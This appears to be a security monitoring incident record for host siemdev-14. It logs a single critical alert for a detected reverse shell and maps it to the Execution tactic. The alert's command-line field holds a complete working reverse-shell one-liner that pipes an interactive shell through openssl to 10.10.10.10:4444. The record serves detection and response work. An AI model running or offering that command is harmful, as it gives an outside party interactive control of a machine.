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High CINC-20251220-7769C734 new

Aggregate ID: aggind:021368f9220b45cdb2760a069897c1c8:25811106256

Incident Overview

Incident ID CINC-20251220-7769C734
Severity High (80)
Status new
Alert Count 1
Host Count 1

Timeline

First Seen 2025-12-20 21:40:30
Last Seen 2025-12-20 21:40:30
Duration 0d 0h 0m
Created 2025-12-20 23:35
Updated 2026-01-13 15:14

Kill Chain Analysis

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...
Observed Tactics:
Execution
Techniques:
Command and Scripting Interpreter

Affected Hosts (1)

siemdev-14

Related Alerts (1)

Severity Status Hostname Description Tactic Command Line Time
Critical new siemdev-14 A reverse shell has been detected on your host. It may provide adversaries with an interactive terminal. Check the process tree to determine if this access was expected. Execution bash -c timeout 5 bash -c 'mkfifo /tmp/s; /bin/sh -i </tmp/s 2>&1|openssl s_client -quiet -connect 10.10.10.10:4444>/tmp/s;rm /tmp/s' 12-20 21:40